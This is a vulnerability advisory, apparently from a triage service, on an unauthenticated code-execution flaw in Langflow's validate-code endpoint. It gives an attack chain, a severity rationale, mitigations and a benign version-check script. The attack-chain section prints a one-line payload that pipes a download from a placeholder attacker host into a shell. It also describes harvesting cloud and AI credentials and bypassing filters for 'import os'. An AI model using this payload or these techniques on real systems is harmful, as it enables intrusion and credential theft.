An AI orchestration server that reads attacker Python straight into `exec()` with no seatbelt
Langflow's /api/v1/validate/code endpoint accepts a JSON body containing Python source and passes it to a validate_code() routine that calls exec() against an exec_globals context populated with importlib and the full Python builtins. No authentication is required, no sandbox is applied, and no allow-list constrains the AST — attackers simply import os; os.system(...) and land as whatever user runs the Langflow process, which is root in the official container. Affected versions are Langflow ≤ 1.7.3; the fix ships in 1.7.4+.
Vendor's 9.8 CRITICAL is not just accurate — it undersells the operational reality. This is a pre-auth, network-reachable, one-request RCE on a service class (LLM/agent orchestration) whose entire purpose is to hold API keys for OpenAI, Anthropic, AWS Bedrock, Pinecone, and internal data connectors. The blast radius isn't a single container; it's every downstream credential wired into the flow graph.
5 steps from start to impact.
Locate an exposed Langflow instance
/api/v1/version endpoint. Shodan/Censys/FOFA queries for title:"Langflow" or http.favicon.hash return thousands of internet-reachable hosts. Data-science teams routinely deploy Langflow on cloud VMs with 0.0.0.0 bind and no reverse proxy.- Langflow instance reachable on TCP port 7860 or fronted by a permissive ingress
- Version ≤ 1.7.3
- Instances behind SSO/reverse proxy with pre-auth are not directly reachable
- Internal-only deployments require prior network foothold
/api/v1/validate/code; Shodan facet product:Langflow enumerates exposure.Send weaponized POST to /api/v1/validate/code
{"code": "import os\nos.system('curl attacker.tld/x|sh')"} — no auth header, no CSRF token. Public PoCs from affix/CVE-2026-0770-PoC and 0xgh057r3c0n/CVE-2026-0770 automate this. The payload is a single HTTP request and executes synchronously.- Network reachability to the API path
- Egress or bind-shell path back to attacker
- Egress filtering to unknown internet destinations blocks staged payloads
- WAF with strict JSON body inspection may catch
import os/subprocesstokens
exec, __import__, os.system targeting /api/v1/validate/code.Achieve code execution as root
exec_globals includes importlib and __builtins__; the payload runs in-process with full Python capability. In the official langflowai/langflow Docker image the process runs as UID 0, so execution is immediately root inside the container.- Payload delivered successfully
- Non-official deployments running under a dedicated
langflowuser reduce container-scope impact - Read-only container filesystems slow persistence but not credential theft
python spawn sh/curl/wget child processes — high-fidelity behavioral signal.Harvest AI provider and cloud credentials
OPENAI_API_KEY, ANTHROPIC_API_KEY, AWS_*, PINECONE_API_KEY), reads ~/.langflow/database.db for stored flow credentials, and dumps IMDS on cloud VMs. Sysdig documented this exact TTP against CVE-2026-33017 (the follow-on Langflow bug) — same playbook applies here.- Process has environment or filesystem access to secrets
- Cloud metadata service reachable (169.254.169.254)
- IMDSv2 with hop-limit=1 blocks container-based token theft
- Secrets in a sidecar vault rather than env vars reduce yield
api.openai.com / api.anthropic.com from a host that has never called them before; IMDS reads from container network namespace.Pivot into connected data sources and cloud accounts
- Stolen keys not scoped to source IP
- No anomaly detection on provider side
- Key scoping / IP allow-lists on OpenAI enterprise, AWS SCPs
- Provider-side abuse detection (rate/geo anomalies)
GetCallerIdentity from a new ASN using a role that normally calls only from the VPC.The supporting signals.
| In-the-wild status | Actively exploited; CISA KEV-listed. Mass scanning observed on /api/v1/validate/code within hours of disclosure. |
|---|---|
| Public PoCs | Two weaponized repos: affix/CVE-2026-0770-PoC and 0xgh057r3c0n/CVE-2026-0770 |
| EPSS | 0.10371 — modest percentile but understates reality; KEV listing is the decisive signal here |
| KEV status | Listed: YES — federal agencies bound by BOD 22-01 remediation deadline |
| CVSS vector | CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — network, no auth, no interaction, full CIA impact |
| Affected versions | Langflow ≤ 1.7.3 (all builds prior to the vendor patch) |
| Fixed version | Langflow 1.7.4 and later; note the parallel bug CVE-2026-33017 required 1.9.0 — verify you are not just partially patched |
| Exposure data | Shodan/Censys enumerate thousands of internet-reachable Langflow instances; default bind 0.0.0.0:7860 common in DS/ML shops |
| Disclosure | 2026-01-23, coordinated via GitHub Security Advisory GHSA-g22f-v6f7-2hrh |
| Weaponized tool | One-request curl PoC; no chaining, no auth bypass step needed |
noisgate verdict.
Verdict is CRITICAL and unchanged from vendor: this is a pre-auth, single-request RCE on a KEV-listed component whose canonical deployment role is holding cloud/AI provider credentials. The single decisive factor is active KEV listing combined with a role multiplier — Langflow's entire purpose is credential-broker for downstream AI/cloud APIs, so RCE equals immediate supply-chain-scale key theft.
Why this verdict
- Pre-auth, one-request RCE: the friction audit yields nothing — no authentication, no user interaction, no chained bug. Baseline stays at 9.8.
- KEV-listed with observed exploitation: removes any argument for waiting on exploit maturity; scanning is already ongoing.
- Role multiplier: Langflow is *by definition* an AI-orchestration credential broker holding OpenAI/Anthropic/AWS/Pinecone keys plus DB connectors. Chain terminates in provider-key theft and cloud pivot on ≥90% of real deployments — CRITICAL floor is locked in by the deployment-role rule.
- Public PoCs are trivial curl one-liners: commodity attackers, cryptominer operators, and access brokers can weaponize without skill.
- Container often runs as root: the official image escalates blast radius to container-full-control, easing lateral movement and persistence.
Why not higher?
CRITICAL is already the top severity bucket. The only reason to consider special-case escalation would be worm-like propagation, and this bug is a single-service RCE — post-exploitation lateral movement depends on stolen credentials, not automated network spread.
Why not lower?
Any downgrade would require evidence of narrow exposure — but Langflow's default deployment posture is internet-reachable on port 7860 with no auth wrapper, and the payload is a single unauthenticated POST. The KEV listing and observed in-the-wild use forbid a HIGH downgrade under noisgate rules.
What to do — in priority order.
- Block
/api/v1/validate/codeat the reverse proxy — If you cannot immediately upgrade, drop the vulnerable path at your NGINX/Envoy/ALB layer. This is the exact URI attackers hit. Deploy within 3 days per noisgate CRITICAL mitigation SLA. - Move Langflow behind SSO / mTLS with pre-auth — Front the API with OAuth2 proxy, Cloudflare Access, or equivalent so unauthenticated requests never reach the app. Applies within the same 3-day window.
- Rotate all provider API keys and cloud IAM secrets stored in Langflow — Assume compromise if the host was internet-reachable at any point since 2026-01-23. Rotate OpenAI, Anthropic, AWS, and vector-DB keys, and audit CloudTrail / provider access logs for anomalous calls.
- Enforce IMDSv2 with hop-limit=1 on cloud VMs hosting Langflow — Blocks container-scope theft of instance-role credentials, a known post-exploitation TTP against Langflow.
- Run the container as non-root with a read-only rootfs — Kubernetes
securityContext.runAsNonRoot: trueandreadOnlyRootFilesystem: truereduce persistence and privilege escalation options if the exec still lands.
- Basic WAF signatures on
import os— trivially bypassed with__import__('o'+'s')or base64-encoded payloads. - Network-egress-only controls — the attacker can achieve credential theft using only in-process reads of env vars and local DB; no outbound C2 is strictly required.
- Relying on Langflow's own auth toggle — the vulnerable endpoint historically did not honor the app auth flag; verify the fix is in place, don't assume the config bit protects you.
Crowdsourced verification payload.
Run this on the Langflow host (or from an auditor workstation with a URL argument) as any user; no privileges required. Invocation: ./check_cve_2026_0770.sh https://langflow.internal:7860 — omit the URL argument to inspect a local langflow Python install via pip show.
#!/usr/bin/env bash
# noisgate check: CVE-2026-0770 Langflow validate_code() RCE
# Usage:
# ./check_cve_2026_0770.sh # local pip check
# ./check_cve_2026_0770.sh https://host:7860 # remote version + endpoint probe
set -u
TARGET="${1:-}"
FIXED_MAJOR=1; FIXED_MINOR=7; FIXED_PATCH=4
verlt() { # returns 0 if $1 < $2
[ "$1" = "$2" ] && return 1
printf '%s\n%s\n' "$1" "$2" | sort -V | head -n1 | grep -qx "$1"
}
if [ -z "$TARGET" ]; then
V=$(pip show langflow 2>/dev/null | awk '/^Version:/ {print $2}')
if [ -z "$V" ]; then echo "UNKNOWN: langflow not found via pip"; exit 2; fi
if verlt "$V" "${FIXED_MAJOR}.${FIXED_MINOR}.${FIXED_PATCH}"; then
echo "VULNERABLE: langflow $V < ${FIXED_MAJOR}.${FIXED_MINOR}.${FIXED_PATCH}"; exit 1
else
echo "PATCHED: langflow $V"; exit 0
fi
fi
# Remote probe: fetch version, then confirm endpoint responds to a benign body
VJSON=$(curl -sk --max-time 8 "${TARGET%/}/api/v1/version")
V=$(echo "$VJSON" | grep -oE '"version"\s*:\s*"[^"]+"' | head -1 | sed -E 's/.*"([^"]+)"$/\1/')
if [ -z "$V" ]; then echo "UNKNOWN: could not read version from $TARGET"; exit 2; fi
CODE=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 8 \
-H 'Content-Type: application/json' \
-d '{"code":"1+1"}' \
"${TARGET%/}/api/v1/validate/code")
if verlt "$V" "${FIXED_MAJOR}.${FIXED_MINOR}.${FIXED_PATCH}" && [ "$CODE" = "200" ]; then
echo "VULNERABLE: $TARGET langflow $V, /api/v1/validate/code reachable unauthenticated (HTTP $CODE)"; exit 1
elif verlt "$V" "${FIXED_MAJOR}.${FIXED_MINOR}.${FIXED_PATCH}"; then
echo "VULNERABLE: $TARGET langflow $V (endpoint returned HTTP $CODE — still below fixed version)"; exit 1
else
echo "PATCHED: $TARGET langflow $V"; exit 0
fi
If you remember one thing.
/api/v1/validate/code at your reverse proxy or pull the service off the internet within 3 days — and because this CVE is KEV-listed with active exploitation, that window collapses to hours, not days. Per the noisgate remediation SLA, upgrade to Langflow ≥ 1.7.4 (and ideally ≥ 1.9.0 to also close CVE-2026-33017) within 90 days, but for any internet-exposed instance do it this week. Rotate every OpenAI, Anthropic, AWS, and vector-DB credential the flow graph has ever touched, and audit provider-side access logs back to 2026-01-23.Sources
- GitHub Security Advisory GHSA-g22f-v6f7-2hrh
- CVE-2026-0770 PoC (affix)
- CVE-2026-0770 PoC (0xgh057r3c0n)
- OSV entry for CVE-2026-0770
- CIRCL Vulnerability-Lookup CVE-2026-0770
- Sysdig — Langflow AI Pipeline RCE post-exploitation
- CSO Online — CISA sounds alarm on Langflow exploitation
- The Hacker News — CISA KEV addition
What defenders are saying.
Crowdsourced verification outputs.
Results submitted by users who ran the verification payload against their environment.